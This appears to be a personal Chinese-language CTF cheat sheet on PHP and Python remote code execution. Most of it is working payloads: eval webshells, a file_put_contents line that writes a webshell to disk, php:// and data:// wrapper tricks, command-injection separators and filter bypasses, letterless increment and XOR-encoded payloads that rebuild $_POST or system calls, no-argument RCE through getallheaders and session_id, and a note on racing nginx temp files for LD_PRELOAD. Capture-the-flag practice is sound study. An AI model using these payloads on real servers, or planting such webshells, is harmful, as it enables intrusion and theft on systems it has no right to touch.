od读取文件

od命令

在Linux中,od命令用于以不同的格式显示文件的内容,它可以将文件内容以八进制、十六进制或其他格式进行显示。这个命令对于查看二进制文件或以非文本形式存储数据的文件很有用。

od命令的基本语法如下:

od [选项] [文件名]

以下是一些常用的选项:

-A:指定显示格式,可以使用的值有d(十进制,默认)、o(八进制)、x(十六进制)等。
-t:指定数据类型,可以使用的值有a(ASCII字符)、c(字符,显示字符码)、f(浮点数)、u(无符号整数)等。
-j:跳过指定的字节数。
-N:指定要显示的字节数。
-v:显示完整的输出,包括所有输入字节的信息。
-w:指定每行显示的字节数。

[广东强网杯 2021]love_pokemon

escapeshellarg()这个函数在处理超过ASCII码范围的字符的时候会直接过滤掉该字符串,因此直接提交lv%FF100即可

myfavorite=mewtwo&dream=od%09-c%09/F[D-Z][@-Z]G

[D-Z][@-Z]是正则

最后读出来的数据用cyberchef解密

[NSSRound#13 Basic]ez_factors

前置知识:factor命令用于分解因数。factorUbuntu自带的分解质因数的指令

od -t d1 -A n flag读取flag文件的内容,并以十进制整数的形式显示每个字节,而不显示每个字节的地址

exec

无回显 echo “Hello, World!” | tee output.txt
l’s | tee output.txt

eval执行

!!!!!!结尾要带分号!!!!!!
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>


system("ls /");
system("cat /flag");
phpinfo();

文件包含

#函数查找字符串在另一字符串中第一次出现的位置(区分大小写) 
#strpos("You love php, I love php too!","php");
...url/?file=shell.txt
构造post:ctfhub=system("cat /flag");

file_get_contents 在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录

  • php://input#从输入中读取

eg: <?php system("ls");?>

  • php://filter

php://filter/read=filter_name/resource=resource_url
filter_name:要应用的过滤器名称
resource_url:要读取的资源的URL
eg:file=php://filter/read=convert.base64-encode/resource=/flag

  • data://text/plain;base64,
    file_get_contents()的$filename参数不仅仅为本地文件路径,还可以是一个网络路径URL
    eg:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
file | base64也可以写成base64 file
127.0.0.1& cat 1382668722644.php | base64
代替cat
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
在 bash 下, 可以用以下字符代替空格:<,<>,%20(space),%09(tab),$IFS$9, ${IFS},$IFS
  • %0a:表示换行符(newline),用于在字符串或文本中表示一个新行的开始。在ASCII编码中,它对应于十进制值10。
  • %0d:表示回车符(carriage return),用于将光标移动到当前行的开始。在ASCII编码中,它对应于十进制值13。在某些环境中,回车符和换行符一起用于表示新行(例如,Windows中的\r\n)。
  • ;:分号在许多编程语言中用于分隔语句。在命令行环境中,如Unix和Linux Shell,分号用于在同一行上执行多个命令,命令会按顺序执行,不考虑前一个命令的执行结果。
  • &:在命令行环境中,&符号通常用于将命令放入后台运行,允许用户在命令执行时继续使用命令行。在某些编程语言中,&还可以表示按位与(bitwise AND)操作。
  • |:管道符,用于在命令行环境中将一个命令的输出作为另一个命令的输入。这使得用户可以将多个操作链接在一起,从而创建复杂的数据处理管道。
  • &&:在命令行环境中,&&用于将多个命令链接在一起,使得只有在前一个命令成功执行(返回值为0)时,才会执行下一个命令。在某些编程语言中,&&表示逻辑与(logical AND)操作。
  • ||:在命令行环境中,||用于将多个命令链接在一起,使得只有在前一个命令失败执行(返回值非0)时,才会执行下一个命令。在某些编程语言中,||表示逻辑或(logical OR)操作。

过滤小结:

  • 过滤cat:
ca/t ca""t ca''t
拼接 a=ca;b=t;$a$b
  • 过滤空格: <,<>,${IFS}
  • 过滤运算分隔符号:;->%0a file | base64-> base64 file /->cd${IFS}

无字母自增构造paylaod

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

这是固定格式构造出来的 assert($_POST[_]);

然后post传入 _=phpinfo();

eg:*/);闭合标签/*注释*/
user=1/*&pass=aa&website=&punctuation=*/);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);/*

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
-->36

#有时间可以去写个脚本,自动化构造payload
%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b'!'%3d%3d'%40'%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d'_'%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b

_=file_put_contents("getflag.php","<?php eval(\$_POST['shell']);?>");

无参rce

';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)
需要时查阅here

主要
1getallheaders()
2get_defined_vars()
3session_id()

配套
implode() 将一维数组转化为字符串
getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回。
array_reverse() 函数返回翻转顺序的数组。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin() — 转换十六进制字符串为二进制字符串。
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
localeconv() 函数返回一包含本地数字及货币格式信息的数组。

getallheaders()

当PHP是执行在Apache模组时,getallheaders( )才有效

system(current(getallheaders()));获取当前请求中的第一个 HTTP 头的值,然后将这个值作为命令在服务器上执行。

get_defined_vars ()

nginx和apache通用get_defined_vars ()

简单解释一下,get_defined_vars():返回由所有已定义变量所组成的数组.下面这个payload会在[_GET]=>Array下产生a,b于是便返回[_GET]的最后一个元素

a=eval(end(current(get_defined_vars())));&b=phpinfo();

sessionid

<?php
eval(hex2bin(session_id(session_start())));
#PHPSESSID=706870696e666f28293b 这个是phpinfo();的hex编码。
?>

一些利用方式

获得当前目录文件

var_dump(scandir(getcwd())); 
var_dump(scandir(current(localeconv()));
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))); //利用三角函数和floor ceil,这个是php7下能够成功

获得上级目录文件

var_dump(scandir(dirname(getcwd())));
var_dump(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))));//这种方法理论上来说,每隔47秒才能成功执行一次
var_dump(scandir(chr(ceil(sqrt(cosh(tan(tan(tan(cosh(sinh(exp(chdir(next(scandir(pos(localeconv()))))))))))))))));

找到flag文件后的读取
如果flag是最后一个:end()
flag处于倒数第二个:next(array_reverse())
flag处于其他位置(这种靠运气):array_rand(array_flip())

附上三角函数的脚本,可以自己改一改,或者增加点函数

<?php
$list = array("ceil","sinh","cosh","tan","floor","sqrt","cos","sin");
foreach($list as $a){
foreach($list as $b){
foreach($list as $c){
foreach($list as $d){
foreach($list as $e){
foreach($list as $f){
foreach($list as $g){
foreach($list as $h){
if($a($b($c($d($e($f($g($h(phpversion())))))))) == 46)
echo "$a+$b+$c+$d+$e+$f+$g+$h"."\n";
}}}}}}}}
?>

最后用读文件的函数读就可以了,什file_get_contents,readfile,highlight_file等等

这是?

?code=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));

[~%8c%86%8c%8b%9a%92]->system
[!%FF]拼接
(
[~%9c%8a%8d%8d%9a%91%8b]->current
[!%FF]拼接
(
[~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c]->getallheaders
[!%FF]拼接
()));

一些数学函数绕过rce

#base_convert(37907361743,10,36) => "hex2bin"
#dechex(1598506324) => "5f474554"
#$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
#($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
#base_convert('37907361743',10,36)(dechex('1598506324')); =>_GET

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php
or
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat f*

#base_convert(696468,10,36) => "exec"
#base_convert(8768397090111664438,10,30) => "getallheaders"
#base_convert(696468,10,36)(base_convert(8768397090111664438,10,30)(){1});
exec(getallheaders(){1})
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})



//操作xx和yy,中间用逗号隔开,echo都能输出
echo xx,yy

//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//system('cat'.dechex(16)^asinh^pi) => system('cat *')
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))

绕过字符串长度

?get=eval($_GET['A']);&A=system('cat /flag');
//下面两种我尝试了不行?,有时间试过,mark一下
?get=`$_GET[1]`;&1=bash
?get=exec($_GET[1]);

本地文件包含的利用
?get=$_GET[a](N,a,8);&a=file_put_contents
file_put_contents的第一个参数是文件名,我传入N。PHP会认为N是一个常量,但我之前并没有定义这个常量,于是PHP就会把它转换成字符串’N’;第二个参数是要写入的数据,a也被转换成字符串’a’;第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。

除了file_put_contents,error_log函数效果也类似。
每次向文件’N’中写入一个字母或数字,最后构成一个base64字符串,再包含的时候使用php://filter对base64进行解码即可.

以下是未实现

# 每次写入一个字符:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
# 最后包含
?get=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N

深浅copy

在php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。
$A = &$B;

极限rce

反引号

code=echo `$_POST[1]`;&1=cat /f*
file=| `echo bHMgLw== | base64 -d` > cd8494ce544176f7809fdd46d67d2009.png

自增

<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$____='_';//_
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P
$____.=$__;//_P
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O
$____.=$__;//_PO
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
$____.=$__;//_POS
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T
$____.=$__;//_POST
$_=$____;//_POST

$$_[__]($$_[_]);//$_POST[__]($_POST[_]);
?>
payload
z=$_=[].'';$_=$_[''=='$'];$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$____;$$_[__]($$_[_]);&__=system&_=cat /f1agaaa
//$_POST[__]($_POST[_]);

x=$_=[]._;$__=$_['!'=='='];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;($$_[_])($$_[__]);
//相当于 ($_GET[_])($_GET[__]) 使用的时候url编码一下

限制字符

<?php
$a=(0/0);//NAN
$a.=_;//NAN_
$a=$a[0];//N
$a++;//O
$o=$a++;//$o=$a++是先把$a的值给$o,然后再对$a进行自增,所以这一句结束的时候 $a是P,$o是O
$p=$a++;//$a=>Q,$p=>P
$a++;$a++;//R
$s=$a++;//S
$t=$a;//T
$_=_;//_
$_.=$p.$o.$s.$t;//_POST
$$_[0]($$_[1]);//$_POST[0]($_POST[1]);
payload
x=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=cat /f1agaaa

限制字符2

<?php
$a=[_/_._](0);//直接拼接成字符串并切片
$o=++$a;//$o=++$a是先把$a进行自增,自增完成之后再将值返回,也就是这一句结束的时候 $a和$o都是O
$o=++$a.$o;//$o=>PO,$a=>P
$a++;//Q
$a++;//R
$o.=++$a;//$o=>POS,$a=>S
$o.=++$a;//$o=>POST,$a=>T
$_=_.$o;//_POST
$$_[0]($$_[_]);//$_POST[0]($_POST[_]);

// $a=(_/_._)[0];
// _/_ 就是除法,得出来就是NAN,效果等同于(0/0)
// ._是使NAN后拼接一个_,是其变成字符串NAN_ //在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串
// 于是$a=(_/_._)[0]=N

payload
x=$_=(_/_._)[0];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[0]);&_=system&0=nl /f1agaaa

限制字符3

gettext拓展_() ,相当于gettext()

<?php

1
$a=_(a/a)[a];//相当于gettext(0/0)[0],得到N
$_=++$a;//O
$_=_.++$a.$_;//_PO
$a++;$a++;//R
$_.=++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])

2
<?php
$a=_(a/a)[a];//N
++$a;//O
$_=$a.$a++;//PO
$a++;$a++;//R
$_=_.$_.++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])

3
$_=_(a/a)[_];//N
$a=++$_;//O
$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);//巧妙的把两次$_++放在一起

payload1
ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa
#%ff是不可见字符

payload2
ctf_show=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=cat /f1agaaa

payload3
ctf_show=$_=_(%ff/%ff)[_];$%ff=%2b%2b$_;$$%ff[$%ff=_.%2b%2b$_.$%ff[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%ff[_]);&_POST=system&_=cat /f1agaaa

challenge

<?php
$__ = ([].β);
$_=$__[3];
$_++;
$_1=++$_;
$_++;$_++;$_++;$_++;//h
$_=$_1.++$_.$__[2];//chr 重点
$_=_.$_(71).$_(69).$_(84);
$$_[1]($$_[2]);
//payload =$__ = ([].β);$_=$__[3];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__[2];$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
//$_GET[1]($_GET[2]);
?>

最后贴个链接

pyrce

核心代码

def waf(rce):
black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ '
for black in black_list:
if black in rce:
return False
return True

@app.route('/', methods=['GET'])
def index():
if request.args.get("Ňśś"):
nss = request.args.get("Ňśś")
if waf(nss):
os.popen(nss)
else:
return "waf"
return "/source"
  • 空格用tab绕过
  • /通过pwd得到

这道题不回显 那么一种是反弹shell,一种是覆盖目标文件,采取覆盖目标文件的方法,然后访问 /resource路由,读取app.py的内容即flag的内容
cp%09$(cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&echo%09$(pwd)flag)%09app.py

一些小技巧

>a 在Linux会创建一个叫a的文件
*>v 会将ls列出的第一个文件名当作命令 其余当作参数执行
*v>0 等价于 rev v >0 反转
sh 0 将0文件的内容当作命令执行
ls -th 按照文件的创建时间(后创建先列出)ls -t就可以 这里加上h是为了按照 sl ht- f\>排列
linux下换行执行命令:
ech\
o\
111

异或取反%ff

异或%ff和~是一个效果的

对于count_chars可以通过这个脚本替换

str = 'acdips'
target = 'ntr'

for m in target:
for a in str:
for b in str:
for c in str:
if ord(a)^ord(b)^ord(c) == ord(m):
print("{} = {}^{}^{}".format(m,a,b,c))

  1. 异或操作的性质:任何数字与0xff异或都会得到其按位取反的结果。而一个数字与自己异或的结果是0
  2. 使用%FF替代:在您不想改变原始字符串中某个位置的字符时,您可以使用%FF来进行异或操作。因为一个字符与0xff异或两次(即按位取反两次)会得到原始字符。
  3. 使用三个数字替代:当您想替换原始字符串中的某个字符时,您可以使用三个字符的异或组合来代替它。例如,为了替换n,您使用了c^d^i。为了保持其他字符不变,您需要对这三个字符进行按位取反操作。

所以,在不需要改变的位置使用%FF,在需要替换的位置使用三个字符的异或组合。这样,当所有这些异或操作组合在一起时,您会得到一个新的字符串,其中只有您想要替换的字符被替换,其他字符保持不变

按照这个思路

  • print_r(scandir(.)):

    ((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));

  • readfile(end(scandir(.))):

    ((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%9E%9B)^(%FF%99%FF)^(%FF%96%FF)^(%FF%FF%FF))(((%8D%9E%9E%9E%9B%96%8D)^(%9A%9B%FF%99%FF%FF%FF)^(%9B%99%FF%96%FF%FF%FF)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

nginx fastcgi临时文件

Nginx 在后端 fastcgi 响应过大或请求正文 body 过大时会产生临时文件

  • 请求一个过大的body,会在/proc/self/fd目录下生成临时文件
  • 传一个填满大量脏数据的so文件
  • 竞争LD_PRELOAD包含 proc 目录下的临时文件

我复现失败了,不知道是不是我姿势不对